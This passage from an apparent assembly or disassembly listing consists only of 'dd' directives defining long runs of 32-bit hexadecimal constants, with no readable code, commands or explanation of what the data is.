3A0C937Eh, 0AD2DBD1Fh, 577EAB49h, 969D87EEh dd 8311BDCFh, 0CE7F4019h, 0C83D4318h, 0E8349631h, 0B353B343h dd 6224CFF7h, 64D7F793h, 0B0BDBA9Eh, 0FB5E895Dh, 417AAEB6h dd 41B3D7F3h, 1EF26102h, 5D4C6B31h, 1EDECE0Bh, 0C527E34Eh dd 47FD849Ah, 0EF4B06D6h, 0C2024373h, 0BBC6CF5Bh, 0D1E94089h dd 38E8E4E0h, 0E3850535h, 0FBC50123h, 5E7B7D8Bh, 667B6202h dd 241664DDh, 50AD4197h, 5203535Ah, 0BF273768h, 25B0C640h dd 0C97EEAD1h, 0D81AB740h, 0AFDCC065h, 527ADE0Ch, 0C8259FB6h dd 6F6CE988h, 8DBD5EEFh, 3F0C729Bh, 0E220D50Bh, 23B0F5ACh dd 5B00B652h, 8006EEC0h, 8F610C6h, 7C58E9D6h, 30B95A00h dd 0F6B7558Eh, 610C9231h, 3268E483h, 0E4322E20h, 0B05E92h dd 9B5954B8h, 4C000D27h, 352B524Fh, 4A071178h, 10BEEC6Ch dd 0FF516DD7h, 96BB2BDCh, 0C9089DF8h, 64001631h, 967545Dh dd 1DE94309h, 0B937795h, 5CBA2A1Ch, 0DE41449Eh, 0D6B8505Bh dd 0F778B740h, 53055AD8h, 0CD08B1C5h, 7079FE8h, 4A3C5680h dd 4EC7896Dh, 0CC9EC58h, 65A2D9E9h, 0C95B8E7h, 6C4736A5h dd 5E32875Ch, 0D2D2269Bh, 2DB82AFh, 0DC895A33h, 0D205080Bh dd 0AF825913h, 0C1B8A152h, 0A44203E5h, 0B3E0CDDh, 16585B17h dd 0B8622CBEh, 29908E9Ch, 0A8E95309h, 0F868C2C0h, 1F80731Eh dd 0FB84A68Ah, 138BB47h, 45988905h, 0A46AE8FCh, 5DE847C0h dd 5C42BB35h, 75188B25h, 46BA3BC0h, 0FEC4E03h, 0B1D2CA81h dd 182A1D79h, 0DC812EBh, 46517524h, 0AE298501h, 6FD13Eh dd 0AD3DFEC4h, 0D60931B1h, 60F2015Ah, 3E537E50h, 0D02FCDD1h dd 41524D7Eh, 6F2D7829h, 41656200h, 1CEE8174h, 0E09B3F3Fh dd 1851D40Ch, 0C8E93F6Ah, 0E3029D49h, 7C9D73AAh, 2F151240h dd 7DACF550h, 86306A41h, 4D554112h, 5E5FD403h, 2D339402h dd 823AA690h, 0FC58C3FFh, 4707AC08h, 86C9BBBCh, 0CD0EC980h dd 7EE541E2h, 0A1A968B8h, 0BC634E53h, 1C6B6809h, 95C0987Fh dd 606CB556h, 0D9B55872h, 3F8D0861h, 59E46805h, 9D6F31BAh dd 7FF05F0h, 59DD3065h, 30F32278h, 50FA5D9Eh, 9B26B8FEh dd 0C11B345Ah, 0F8F9EF5Eh dd 21CDB776h, 1BB87E30h, 40392E32h, 47D90238h, 7D406B2Dh dd 33007982h, 88C18156h, 71406858h, 0B7E91241h, 3503CD73h dd 0B664F8F6h, 7B55062Eh, 30AEE516h, 38B35D3Ch, 5D0E1A1h dd 0ED6B56EEh, 0E1F07649h, 62B53718h, 1C45660Ch, 17E95F4Ch dd 0D6DAE83Fh, 0BE9659FDh, 2870C208h, 0EDF22E7Eh, 809B4503h dd 0D8305A0Ch, 80867B5h, 3E27952Bh, 805C0568h, 0D18821EDh dd 31D2F61Eh, 55086E96h, 21253E84h, 0E5B4E24Ch, 4536D928h dd 5ED069D7h, 0E25727C0h, 4C7DABE5h, 0ADB880ECh, 31560C7Eh dd 0C742D929h, 9BD8240h, 7C934FCCh, 83592077h, 90566061h dd 69AA2EA1h, 0ADE9043Bh, 0D1CAFFCCh, 8917A24Ah, 42EE7C59h dd 0E988B5h, 6CCB7F31h, 115224h, 14963890h, 43542B68h dd 0DA4BD8A4h, 126615C8h, 4248BBh, 540DE359h, 469239E9h dd 0F020D8BDh, 0B362E77Fh, 1716109h, 225718A9h, 78DBE918h dd 0EE32E41Eh, 0F23D5FFDh, 9BD297DEh, 0E1C2AB08h, 127A40F8h dd 0DF61EF5Dh, 3000F049h, 0E1E65BDCh, 47BAC0F4h, 5FF02058h dd 0BE10BDE8h, 38AE4BEDh, 0F14DE92Bh, 7E6809DEh, 609FF62Ah dd 51B20F5h, 2913535Ah, 0DD0BE21Ah, 0CE90A8C4h, 1CFFB882h dd 4E4125A1h, 7580F692h, 3F116197h, 449609FCh, 38BA5A16h dd 4D4DE9F9h, 0F0805FFDh, 9D2BF611h, 0C14A22F2h, 6EC54B88h dd 6BC44BC7h, 0F6DDAAD1h, 0C4F2443Eh, 2D21CAD6h, 7E20158h dd 502F5DBAh, 0C24D08E8h, 7CF4A55Bh, 20680B9Bh, 8D139A06h dd 12824D55h, 4B0DE9F5h, 8AF05746h, 0CB26D5Ah, 22BFD192h dd 1C327D82h, 85ECE1F7h, 52A75B12h, 283CE318h, 4A986E0Dh dd 0C1092DFCh, 0F077CB47h, 0A2B70995h, 27FE0B11h, 7934914h dd 26343239h, 2373F160h, 17E7C9Dh, 0B82CCDC7h, 44CF0160h dd 0E90804B0h, 0A851D590h, 0ADC73C24h, 5ABD05E4h, 0FA76D5E3h dd 0C481581Bh, 36C42D80h, 119863ADh, 8B735E4Dh, 428BF35Ah dd 0F409EF44h, 9037071Eh, 40A4B27Bh, 0A937E675h, 0BD2A5F4Ah dd 0FCAB25C5h, 0E50E65Fh, 0AF04C597h, 2A12E2B1h, 13AC5116h dd 0B60A0CB2h, 4DC752A5h, 5575F375h, 1D20C221h, 0B94918D8h dd 7A92B87Bh, 0E9444B04h, 5402C07Ch, 0BB74555Eh, 42095102h dd 0E674400Dh, 64BF053Fh, 59B2AFE9h, 0FC596C9Eh, 3CB8C2C9h dd 2DF00948h, 684590EFh, 5244F678h, 0BF587829h, 0C3030764h dd 60A45A0h, 677EDF68h, 611FB981h, 0E46A020Bh, 0D016FC91h dd 12F0DA95h, 3076415Ah, 71953CE6h, 0BF514424h, 0E909049Ah dd 3FF18837h, 5E11827h, 4330022Eh, 2DD0013Fh, 0A2E90782h dd 53BC2278h, 9EFA6550h, 42716BD6h, 553CC942h, 32A755E7h dd 0C964FFE2h, 5D180B7h, 2535E330h, 1371D7F7h, 0B7820718h dd 2862244Eh, 93DA27E6h, 89F00134h, 5271C2EFh, 0BE81AD04h dd 0B66E862Eh, 0E0672060h, 1C72F0F0h, 1F202C5Ah, 0E912FAD8h dd 2D67405Ch, 697164FAh, 0D6D58BBDh, 0B3831397h, 140258BFh dd 8430FEDDh, 413598Ah, 1E414C36h, 0C357A47Bh, 3F3F108h dd 0B73EB252h, 91F530CAh, 8215E6FAh, 9B6A45A2h, 6B2FFA61h dd 0A07B1AF1h, 8248FC6Fh, 78B2A7A8h, 85D5A9AFh, 67FE2530h dd 4ED19372h, 2CF8F90Eh, 180D539Eh, 873E677Ah, 0A14682E6h dd 0B00B18EAh, 48757BCAh, 9F348BBCh, 96BD1E4Ch, 0E55E6AB9h dd 0F25C0060h, 0B7BB9F79h, 5BDA9E16h, 877C35B1h, 1D691810h dd 0C3C9D601h, 0C5BE94E7h, 97D3870Dh, 0C5554969h, 0DFE90459h dd 0D57CD7F7h, 215422F5h, 4AAF9A83h, 7385D940h, 9C06881h dd 0D6E8EFDBh, 2D98AE59h, 25744AD8h, 71871FC0h, 25CA9C82h dd 0F1A817E0h, 555E26C9h, 87C5243h, 18CB7790h, 0A4675C05h dd 0EC680530h, 0DE30EA0Fh, 5543CBCh, 0E6C15E71h, 0BB03C207h dd 0B7C5A09h, 3E3973E4h, 8E975608h, 0A605CEB9h, 361B8201h dd 78FE3041h, 90F85AA8h, 3CF821B1h, 0E8C1C05Bh, 5BC83110h dd 1B164550h, 6D99FA57h, 32B0212Fh, 5A020560h, 55F280FCh dd 0CC84F204h, 0E05BD7Bh, 312F0B42h, 9775DBFh, 0D3FCD464h dd 0E002B273h, 80936CA0h, 0EEE5C331h, 6C397C41h, 0B52E9F1Ch dd 19045797h, 660176BCh, 706AB151h, 9DDF86EFh, 665020D2h dd 0F2F55E82h, 9264DAEDh, 0A8E65FB7h, 4999127Dh, 0E36834EBh dd 0C3800E4Ah, 0F8F21C8Ah, 3CB9D1B1h, 0A7977B13h, 9E041FDEh dd 16FE5248h, 7A6360B9h, 2B5AD745h, 802AAB5h, 0E7475F59h dd 0A76622A7h, 0B468013Ch, 0DECD3E74h, 0E9C2F939h, 0A65CBEA6h dd 0FB125B9Eh, 5928A3B8h, 7FD80B3Ch, 0BC664C1Eh, 0D0745C95h dd 0E925F1F7h, 0BB83003Ah, 606B1739h, 60124C62h, 0E92D1A2Fh dd 59D3849Ch, 4E42F3B6h, 98CF1D2Ah, 0A43B0BA7h, 0E280A6C1h dd 21B52552h, 9820176h, 0CF2A7708h, 3E1076h, 0E1814149h dd 0B0651502h, 16EBFC01h, 1D7C2EDh, 51730DC3h, 71CF421Dh dd 25B26757h, 9135BCDDh, 40E209A1h, 1BF30FDh, 0B4CCF8D5h dd 0D1300048h, 0D4C1805Ah, 3365C9E6h, 88FEF00Ch, 0C5905B9Dh dd 0A598CE79h, 623F6F41h, 0C0FF59C5h, 164F3E6Bh, 0AE5E15A1h dd 0F7F66C40h, 13015A14h, 4FA0F0E9h, 0FECAE8D6h, 0A5452DDDh dd 750C839Ah, 2068CA21h, 93BD5141h, 32A307D9h, 0A5151618h dd 122DBEB0h, 8B720124h, 0B0012A85h, 18244691h, 8653506h dd 237887C2h, 10951A31h, 600153BDh, 48088C82h, 40C71876h dd 6663C85Dh, 10528C10h, 108FBF08h, 627E6A94h, 3FB628FCh dd 10D53303h, 107A3C10h, 7031C1A7h, 0E2783449h, 0FC069804h dd 0BB2010F9h, 526C200Ah, 8B24631h, 6101A80Ch, 45208C91h dd 6278080Bh, 0A59A18B3h, 73A94E03h, 9F4A4010h, 87080F66h dd 3BD220B1h, 8546831h, 3088B915h, 0C3082928h, 66F70C93h dd 80A80718h, 8DF8B6Ch, 0D10B550h, 0E76E1054h, 18F39C10h dd 8A40421Ch, 535E8069h, 0C93F10C4h, 61AF304h, 20081FC6h dd 5A205E56h, 9B40315Dh, 11D7E28h, 10888ABFh, 9D089635h dd 0D42C1570h, 8D1AC18h, 20C68785h, 200818DFh, 4B541217h dd 0B9C4CA80h, 0F504C89Ch, 89440C7Ah, 10D9626Dh, 2F030302h dd 0E081077h, 0D61618A0h, 0C8EFB420h, 3A0C15C9h, 402E10AAh dd 0A8A89762h, 81CC6B87h, 6F3210E8h, 746C0856h, 0DE40F518h dd 459E404Bh, 8B088866h, 19A16729h, 79309CB6h, 2AFBF941h dd 70B4C3B9h, 0AB08C63Eh, 26311897h, 0D0C7085Fh, 7048B702h dd 0EB835052h, 0C8614453h, 86C63E0h, 28185725h, 0D6083DE8h dd 0D818C64Fh, 0ED200860h, 0A37F20E2h, 7C509C24h, 8610B090h dd 33B81847h, 80565108h, 20C58E91h, 804CA568h, 630E08AFh dd 36112099h, 0C008083Fh, 23E404Ah, 4071A740h, 8340AC10h dd 23394069h, 3448C663h, 0DF08185Eh, 9032181Bh, 9A2708C4h dd 905F5094h, 7C085F98h, 0FB18CCA6h, 9140C829h, 51DB6C4Fh dd 0D36455C1h, 0DC914110h, 6C018ADCh, 181C03F2h, 8C4A631h dd 20C98476h, 654422E9h, 93A10416h, 49EE0554h, 0F186E08Bh dd 38399B62h, 43A80263h, 0E8464A05h, 0A9A1B867h, 9188EF6Ch dd 5E0C9125h, 6F2E0892h, 397818F6h, 18C494FCh, 0EF047929h dd 0FE8305A8h, 31D8E851h, 440FE99Bh, 0ECEA1088h, 2486308h dd 0E8FC9C60h, 40B5A464h, 924E8948h, 1A60B757h, 10C04BA1h dd 752C473Bh, 13EB1802h, 0A7B90E89h, 5803DDEh, 408F4401h dd 0C90B0449h, 878BF775h, 0DE811E89h, 3DB9F003h, 0C0331EF0h dd 4FB10F03h, 0D92C4B30h dd 2092E5Fh, 0DE20F5D3h, 521A2CD7h, 3CBAB25Ch, 0D21399D0h dd 53695E4Ah, 27D8347Ah, 0EE7DAE62h, 0EB36C52Eh, 973FB63Dh dd 0E98E08DCh, 0DD581ACDh, 0C4F6E366h, 0C020646Bh, 9F52597Bh dd 0E917546Ch, 41E8D0BEh, 0EBFF8AC5h, 337DF6CBh, 4E0A706Ch dd 0A60C61B1h, 0F65ABE6Eh, 0BA56C449h, 76E4B94Bh, 11D92F67h dd 55E9C140h, 2F469FB0h, 226197F2h, 61A86862h, 8B86302Eh dd 0A13C54Ch, 6FBDF87h, 2245D0AEh, 17E650B7h, 0B0289244h dd 113AE836h, 0FC09A5A3h, 7AB2805Ch, 0BE560B33h, 461E5D00h dd 0E9F23120h, 47D56E25h, 7E14FBC6h, 0B430595Fh, 1AD6857h dd 5F0D3112h, 0EFE9F909h, 2E37ABB4h, 88EB7D92h, 0FB8CC309h dd 5AEFDF21h, 0EDCF4602h, 5137169Ah, 1C3E0E50h, 30A6F327h dd 0B3E95507h, 50924164h, 88C591B8h, 0E0D1AFDAh, 81005F8Ah dd 3A714FEDh, 1AAE1CB5h, 0A3B5D4E9h, 7060825Fh, 9296F943h dd 0EDDDEFC2h, 611E806Fh, 1909820h, 87B12C4Fh, 1325CE7Eh dd 0CFA8FE67h, 4CB868F0h, 8E895197h, 0EA41E588h, 0C2A658E9h dd 6BE37B5Dh, 8C8C515Eh, 915A1053h, 3E7BCBA0h, 918608h dd 0C04B46BAh, 0DA4AF736h, 2D51FAA0h, 33562EDDh, 0D639E90Ah dd 50CD8180h, 0A0425D6Fh, 305792A9h, 99342E56h, 20CB068h dd 2F119EE9h, 311903C5h, 0F50176F0h, 5E083240h, 0BDC14BDh dd 1366DE9h, 72557ACAh, 255C7E9Eh, 325DFDC8h, 0E36F7774h dd 0DE5029ADh, 0A85E93DBh, 74892791h, 0DEC51269h, 7F064223h dd 5ABEF497h, 0AAF31CF5h, 21CC404Ch, 207C2659h, 251B03CAh dd 0DFF306A5h, 0A0081C41h, 5B5F141Ch, 0C2B9AC34h, 8A25ED84h dd 0BCC5E42h, 147D6BDBh, 58010EC4h, 3E316C25h, 2A8F834Bh dd 280F0935h, 0CA331213h, 7CA25B38h, 422250C5h, 476068C4h dd 0C5A71875h, 58ECD152h, 5B58E3D7h, 0E85F46E6h, 3DBB4BEFh dd 0E9B22046h, 5AF15618h, 3DA91B0Ch, 911BA50Eh, 77D0286Ch dd 66FB9E21h, 0B8B9003Dh, 0E90FA261h, 0F8505FC0h, 10EEF227h dd 0EC4C93E9h, 2E5BCF32h, 9D20D36Bh, 3B67F0CAh, 0EA1D2F5Dh dd 9576BFEFh, 0F52616F0h, 4B8AC71Ch, 0F9C28A71h, 0B9C49364h dd 0E83E07Ch, 26D86B8h, 39B1A397h, 0FC5C8117h, 1C8427EDh dd 0A499AF19h, 1819643Eh, 0C9A73DDEh, 30A5BC1h, 0E130046Ah dd 615C73F8h, 389AE82Ah, 0E8948BDBh, 0FA86204Dh, 95D6895Fh dd 16E97518h, 0D4F8084Fh, 0AE5C21A2h, 0D405ECE4h, 0EBD9F4D3h dd 55AB5405h, 0B2E821A4h, 0DC6853B1h, 5619C31h, 0A5FE91Fh dd 30874E01h, 620CCD0Dh, 0EC123D25h, 30D72755h, 0E9860EFCh dd 95BC4664h, 0C70FA1A2h, 523130CEh, 0DBA222Fh, 0F44065D4h dd 0CC5C4FB8h, 114955ADh, 10E94955h, 257DE1B9h, 0C6FAFB9Ah dd 4234A405h, 94033175h, 0A23AE281h, 0B9E0FD1Fh, 0E6253FF7h dd 0F25DE80Fh, 0E1D07110h, 9E15B03Ah, 5754C467h, 0F785A862h dd 821AE1ACh, 0B8636FC8h, 0CB60D32Fh, 0EBE65FF3h, 6F33487Fh dd 1C09A61Ah, 38676450h, 0AFA4324Ch, 0B42B1A29h, 0BB604EB9h dd 56B1B916h, 0CA734828h, 2D60E9B0h, 4BF3A09Fh, 0D09A7094h dd 0F912BAA8h, 76CDB85Fh, 245B7490h, 0F62BEBF1h, 906D581Dh dd 58C090C1h, 11AF81E2h, 0F310D87h, 0FA581792h, 0DEFF2649h dd 51660F86h, 0B8CC3C1Bh, 0B4500216h, 5EE12836h, 80710932h dd 0B0BA4657h, 9BBA200Ah, 2C08BBDh, 0BC14F37h, 0B42FAB78h dd 0EA29F9FAh, 34A36318h, 0CF0D3403h, 0D125EC2Ch, 0C380175Eh dd 8E216CE7h, 0C7723114h, 0E908F860h, 0A4014EC4h, 1B85BDB9h dd 0B958D0ACh, 0FE487FABh, 0AFF11489h, 13EF0006h, 154385Eh dd 9F5156CFh, 0B70EB828h, 220D4B43h, 664F2AE9h, 0A74A9722h dd 0E52624F5h, 0CAC5B827h, 800AC0FAh, 0E7303FECh, 0F85E5870h dd 60A6E02Ch, 0BF2D0A32h, 517A7A3Ch, 46B83F25h, 2E321D54h dd 261AFB5h, 0F1BC2E08h, 8209EE86h, 99B06655h, 0CF06F908h dd 0F8570643h, 0FF51D268h, 5FF56535h, 6C6BC147h, 0FD55F8C9h dd 0D7665C2Eh, 0AA21BBCBh, 0B5738E1Fh, 0FB1BF707h, 0E10512Eh dd 6040EE7Eh, 91244286h, 6B288A4Ah, 0D6433824h, 9007EB03h dd 1C4A610Fh, 20371DF9h, 8D6BE64Bh, 5A77D456h, 5D26447Dh dd 0BC5FD827h, 0F488A4CEh, 22F96F7Eh, 6B04FB12h, 74BA1A22h dd 2FB1CBA0h, 0F7A36257h, 2B2A27C0h, 5467F62Dh, 9BF7C029h dd 45613E03h, 2995E95Dh, 85F48628h, 2ACACDD3h, 0AE4A8DA2h dd 0F529252Bh, 9D0D06E8h, 5B280876h, 6590CD19h, 91D33325h dd 8EE45645h, 0C5A2B728h, 0A25717CDh, 64C71E80h, 0B0810B2Ch dd 0BE007F4Dh, 771F1AACh, 0E8E8295Bh, 0BF5A0840h, 0B9E9CC0Fh dd 30B3F12Dh, 40829991h, 18535291h, 5E8073B7h, 0F84A8850h dd 0D83030E1h, 1302582h, 0CCCA7079h, 0EC76D802h, 0E6A0F813h dd 812AB8EEh, 0A27E290Bh, 0C5F91489h, 0C60BDEB2h, 8146F4BEh dd 581DC381h, 73748E28h, 0E05A10CEh, 13133D46h, 841A1B8Eh dd 2FD04CB9h, 77985EF2h, 0DF60CFE9h, 65B2BD1Ch, 0D22D5032h dd 9EF1320h, 0BF350D3Bh, 0E07C7A20h, 85595910h, 9710D790h dd 0FF562984h, 81465E72h, 0B953B868h, 0D53B603Fh, 5187F782h dd 4C7D0997h, 2C8B5C0h, 899A2A29h, 5E2CC25Fh, 762BBAADh dd 0B963353h, 18E15E2Ch, 4EB5562Ah, 9D0B1DA2h, 67629AA0h dd 0CABF137Ch, 58080580h, 5E8445FFh, 9C25EE69h, 9FBFA500h dd 2290221h, 71F2CF81h, 50000314h, 80530D09h, 0D170B2E9h dd 722287C4h, 0C3015F03h, 6E8A94F1h, 5D83F227h, 34FD24D6h dd 59C660CEh, 561A7B27h, 8004DEF7h, 5E6F2933h, 0EC049716h dd 3099F5E9h, 201FB007h, 0E1010986h, 4D6F0B1Eh, 6DCE440h dd 0E9830BF3h, 0E47CF8D8h, 317B5C3h, 0F5AC741h, 34DACD4Ch dd 0F8589CA4h, 0CFABB5B7h, 28FA4A99h, 5F4B4544h, 0E9977AE6h dd 6858816Dh, 0CC2B54D6h, 23033507h, 0C2E914E7h, 0F5098765h dd 7A9D3E3Ch, 0E94A121Dh, 780CF3F1h, 4AFF2D49h, 0ECAB44BEh dd 70E913D9h, 3A5D91A4h, 896C22FAh, 0BF4A8455h, 402DD9BBh dd 0C55E44FAh, 0DCE96109h, 9C512295h, 8252D4F6h, 5AAB22A3h dd 0F1187CE8h, 0D92742A7h, 132789A6h, 8CDD131Ah, 3FC39582h dd 3D8F1CAEh, 0B0A9DA89h, 7F5F0CC1h, 7B0DB28Ch, 0D4569D4Eh dd 2DC75D52h, 0E8BDF9ADh, 0E3C0CD4h, 8094D059h, 0A305AC2Ch dd 0DE82E4C0h, 0B20F6815h, 0C5E09568h, 6CFCEC2h, 0B4CE405h dd 0E3C48F94h, 0FA9753C6h, 6B4B5020h, 1D6C1D6Dh, 8FF38156h dd 40559C54h, 0CC02CDC1h, 0A2B17CC4h, 0D5685107h, 0B755425Eh dd 0DCE18826h, 0F9868ECh, 907E1C1h, 0B9C1E0AEh, 2E5849D2h dd 326C6213h, 0E5545DC9h, 0B190C993h, 5EF51DC6h, 56F5F892h dd 0A1A85AD5h, 930A0148h, 16A55045h, 9721BF7Ch, 56EEB6E9h dd 1CBE506Ah, 0DBFC015Fh, 6341BAE4h, 6D144977h, 0E90BDA4Bh dd 0C0FCA28Ch, 89197C52h, 0ED755A54h, 38688F1Ch, 445DCCF2h dd 812C9AB6h, 1674300h, 9F4D3E68h, 0D15FB8C6h, 172B6B98h dd 1E527636h, 28B46AEDh, 13D408E5h, 0A9E054Ch, 0AC86FDDDh dd 70C60B5Fh, 95D53675h, 0B8504518h, 347D6701h, 58C53155h dd 4EE22C85h, 0EF9F0505h, 7F14C151h, 35220516h, 8F6B77E7h dd 0FA84039Ah, 29660227h, 6338C1C7h, 784EF62Ch, 0F29709EDh dd 0B3390099h, 0FA3132BFh, 0EC5536E9h, 64DED8E9h, 5F46EA13h dd 39196ACBh, 30D35B6Dh, 0C6961F4Ch, 0F919EB09h, 0E732AD58h dd 856D29D5h, 49A0CEB4h dd 51F80E28h, 0E8A475B5h, 1499AE59h, 87402C69h, 0E16B70DAh dd 8B18A66Bh, 58F6408Dh, 0B819BB5Dh, 7B470226h, 596F1BF3h dd 7E5305E3h, 40A364D8h, 68255D80h, 4BFB5088h, 2DF8015Fh dd 60D37C0Ch, 0D3D37A88h, 1CDC9EAEh, 4E38CC60h, 67846EEDh dd 5E4CB70Eh, 0E9820BB2h, 0CE6E12E4h, 0AC6F5095h, 1142AA82h dd 0D5F7FE11h, 0E951B8A4h, 4E528890h, 0BFD654F2h, 0C1548362h dd 0A0AC1EB2h, 0C5DF07FEh, 0BEDD75CCh, 4E4F4C01h, 0C850299h dd 0C7D1220Eh, 11142459h, 4C502DFCh, 9AF0502Fh, 85386071h dd 3294709Bh, 936901B0h, 7470A527h, 5A2E14BCh, 932E15FDh dd 3273EB03h, 7DD9A770h, 8E283F53h, 0E136A14Fh, 0BDF36DDCh dd 0BC3243E4h, 40524838h, 0BA24D746h, 508CA1C4h, 57005826h dd 0A17B0C68h, 0E9175F1Bh, 0F5AC69FDh, 49664ADEh, 31E1A5B3h dd 62C865B7h, 0FE68C3E9h, 159F3410h, 16DDFB82h, 1683C361h dd 0E8E193BAh, 2B557BF7h, 0AF615980h, 7C49E1F9h, 545563DCh dd 56EE4C35h, 0F82F29AEh, 7FC10AE0h, 0CD471BC1h, 5D31B1CFh dd 262A2D20h, 0BB9177E9h, 322CB08Dh, 1D6A31AEh, 2FCD3B6Bh dd 12491460h, 0B8080E61h, 0F5EF12CBh, 0A71765EBh, 0C0E91358h dd 0CE305B47h, 250DED73h, 0A457530Eh, 0B5AA59FCh, 0E4356DC1h dd 4AE93428h, 3A20F130h, 39844AE3h, 50C341F2h, 68CC2E78h dd 0CC6EFD7Dh, 0F097DE41h, 170C91BDh, 0AF7E5706h, 3DA50E27h dd 9D5CF0B0h, 32FC5C9Ah, 3B6B0446h, 6CB4F520h, 0F28C063h dd 2D0A7B02h, 0E0BD4C48h, 2D577D08h, 0D0058A5Ch, 41EB8B53h dd 253EF6B6h, 0F19C42B0h, 21507AFEh, 86E4BFC8h, 0A928E328h dd 0B86C2BFh, 0DEB22BCAh, 1185D273h, 14EF8A71h, 1A7F5450h dd 5F541035h, 1A542946h, 3A5C68B3h, 391F84A4h, 904177CDh dd 0D3CFF7Eh, 13ABAC96h, 32A9291Ch, 4FB92C4Fh, 0E0F036BAh dd 0C9FAF1B5h, 13C2602h, 8EF6FCEEh, 68E13A70h, 2D0CF1F9h dd 7EFC000h, 48E1F8CBh, 3D11874Ah, 0B8970D5Bh, 0E459A886h dd 0C3AACCFAh, 0B053FC0Ch, 3930C0Bh, 0E9EA4F32h, 0DF2C9CDFh dd 0F10965D1h, 953CCC07h, 40961F7Ch, 30CBDC90h, 61777A48h dd 49B26346h, 9ECBDBB3h, 7E84C8ECh, 65F56A09h, 379B775Ah dd 3B20AEFCh, 4B68535Ch, 0F920FEFFh, 0E4D48850h, 5F3590E5h dd 8243271Dh, 900B7BA6h, 0B1B7FD19h, 84DC09C4h, 0CBB9B07Dh dd 0B019F839h, 0FC3F4EA6h, 0F08CC4FBh, 9054CCBFh, 106B4945h dd 6E00B36Fh, 0E97C1710h, 88CD12E2h, 0C070F458h, 41E42A68h dd 56BD051Ah, 0B8753758h, 34E93914h, 0ABE2114h, 801791ACh dd 47696851h, 3CFC378Ah, 0C11C1F67h, 42CB7669h, 386A199Eh dd 0DD5219D6h, 3C0922CDh, 0C2CEC8DEh, 7DADC498h, 1F8BAE63h dd 0C1960525h, 0A4F5EE95h, 0D3192965h, 0C5C0079h, 736818C3h dd 50BE7A53h, 55826017h, 0FE558410h, 8BD478E1h, 44292B3Eh dd 976812E0h, 6063FE08h, 0E6F092E9h, 0BA5E4B7Bh, 1FE4E774h dd 52396BC2h, 68C1D5F4h, 0DA264A16h, 6C1FD517h, 3CE110BAh dd 758ADE7Dh, 58C42C06h, 0C972A3AFh, 0B90AA0D6h, 0A223AFF3h dd 0BEB0FDD6h, 0ADCB65E9h, 0B975005Dh, 0F8B11BFAh, 913B7CBEh dd 0A7CFE2E8h, 6F818F9Ah, 483AAC66h, 35F8552Dh, 0C553A904h dd 0D7EF015Dh, 0C294FB5h, 47984E94h, 795BEF05h, 33C41764h dd 5B08AC10h, 4B580E8Ah, 33E8BF03h, 2C050F83h, 4EB97662h dd 3EF92CEAh, 73BB1E08h, 0DF6A3021h, 395AFE03h, 5A83F4F0h dd 0B2D4C7EAh, 4361CA87h, 7C0AA741h, 2071258Eh, 562EC5CFh dd 0FB4601D0h, 31C62095h, 93CB893Fh, 6A4AA0A2h, 0FF504BD6h dd 0FB7E0BF8h, 0CBD6EE31h, 0D16FA640h, 97629713h, 0FE680709h dd 539FC787h, 0C9E21E89h, 64726782h, 0C8175D25h, 975AD746h dd 0F7C70600h, 7734FB61h, 88E2B85Bh, 62940248h, 3FE95981h dd 0BD0C801Dh, 401773ECh, 15C50481h, 0EABFE88Ch, 98BE6FD1h dd 4E4E75F8h, 0B348AA01h, 5550007Ch, 0A845A9BDh, 21F53EC0h dd 981D8669h, 0FBE9134Ah, 0B70E41CFh, 60DFF6ACh, 88807521h dd 4A4BB0DAh, 681220F2h, 0EC930F42h, 122163Dh, 3382D134h dd 0B701D858h, 75B46261h, 8DA06EEFh, 586A90DEh, 9DEB54Bh dd 0EFE8986Dh, 0C04A39DCh, 5C42C202h, 0F6F8E0B3h, 48477B0Fh dd 2F600526h, 9E01DABEh, 49F95C4Eh, 0E9C20949h, 4C0CDF17h dd 9A7D0FD2h, 0B3844E11h, 90F6B96Ch, 0EE597E1Dh, 27AC4EB3h dd 670FB48h, 3178E796h, 0E912E5CDh, 0F5910E2Fh, 0B214225Bh dd 46532FA3h, 5978BFCBh, 4C5FAC20h, 51186388h, 0C6C3F546h dd 2ADE060Bh, 599D7059h, 2C18ED3Ch, 0BA349E1Ch, 801C84BCh dd 0BE96CC7h, 0ED1D2D69h, 931E266h, 589FE44h, 9645B86h dd 9B2D4C51h, 2D988A7Ah, 0E392E47Dh, 326BABECh, 41284CC6h dd 0F740642Ch, 80077AB1h, 0A8939DF2h, 0E7C50284h, 3B902A9Fh dd 0AAE8380h, 0C7BF459Ch, 0C338A7Eh, 48F28199h, 206D634Bh dd 3B046E54h, 31E91109h, 0A20D3AB1h, 390A1720h, 0E989AC47h dd 155A2670h, 562DC86Eh, 0CF3E41AFh, 6878366Ch, 4F8A7A0h dd 0EA02602Eh, 0DB5EA6C1h, 0A902313Eh, 4CEE3323h, 817C3037h dd 1D3898EDh, 8BC11B3Ah, 0FDD84D06h, 31453D2Ah, 5B055779h dd 5F763E3Ch, 0AF0A84BFh, 36443F40h, 2AE9E0F6h, 3CFDCEBh dd 13C135D0h, 0DFAB059Eh, 0E94C09A0h, 40FC2B4Dh, 2517A2DEh dd 0A21D26EDh, 44C0E45h, 0A07E0ABCh, 2A685608h, 0F045340Dh dd 0AB140219h, 5307E906h, 867F8544h, 0AB4C8324h, 0D70D821Ah dd 6E3D728Dh, 905748E0h, 68204C52h, 92A5238Ah, 0F5C1085Fh dd 7E8BB901h, 803A64C3h, 2390308Bh, 5BE80EDh, 0CB095B7Bh dd 4B42BD59h, 0C8F4EB04h, 51CD926Eh, 0E407AC8Ah, 41A235B5h dd 0B8208F48h, 165A6816h, 0B2A256A9h, 0B3534C48h, 275B2B4Ch dd 24A27C5Bh, 1C3F182Dh, 619E4C0h, 23685166h, 0C1495B00h dd 0A590E150h, 8FC74748h, 7E18AEBAh, 76F4A0C9h, 0B17F8F05h dd 118B72C9h, 155F17C2h, 98E90D68h, 4A3B6059h, 1F8C324Eh dd 0AFEB4E53h, 92837725h, 5A122DEEh, 0E821B602h, 0D549AD79h dd 1D5BD492h, 0FF97B70Ah, 425EF6Ah, 0D4BA587Ch, 0A1E7EA45h dd 0CA2464Ah, 52502C0Fh, 426BA9C5h, 0A087140Eh, 0B7F7150Ah dd 8CBF3BF1h, 0C8723C9h, 56D3ECAh, 145C51AFh, 4B8DE2C1h dd 0EA00CABEh, 2083090Ch, 93C9D121h, 0AAA7F55Ah, 92A79923h dd 0C03572D7h, 0F020E652h, 304906Ch, 1C610A17h, 0A3EAFD89h dd 0EF800044h, 43CB359Ch, 29D14CF5h, 2F207B8h, 122D56B7h dd 0CB928B74h, 0CEEF3652h, 10827634h, 9FF7A8B5h, 14A7D0DBh dd 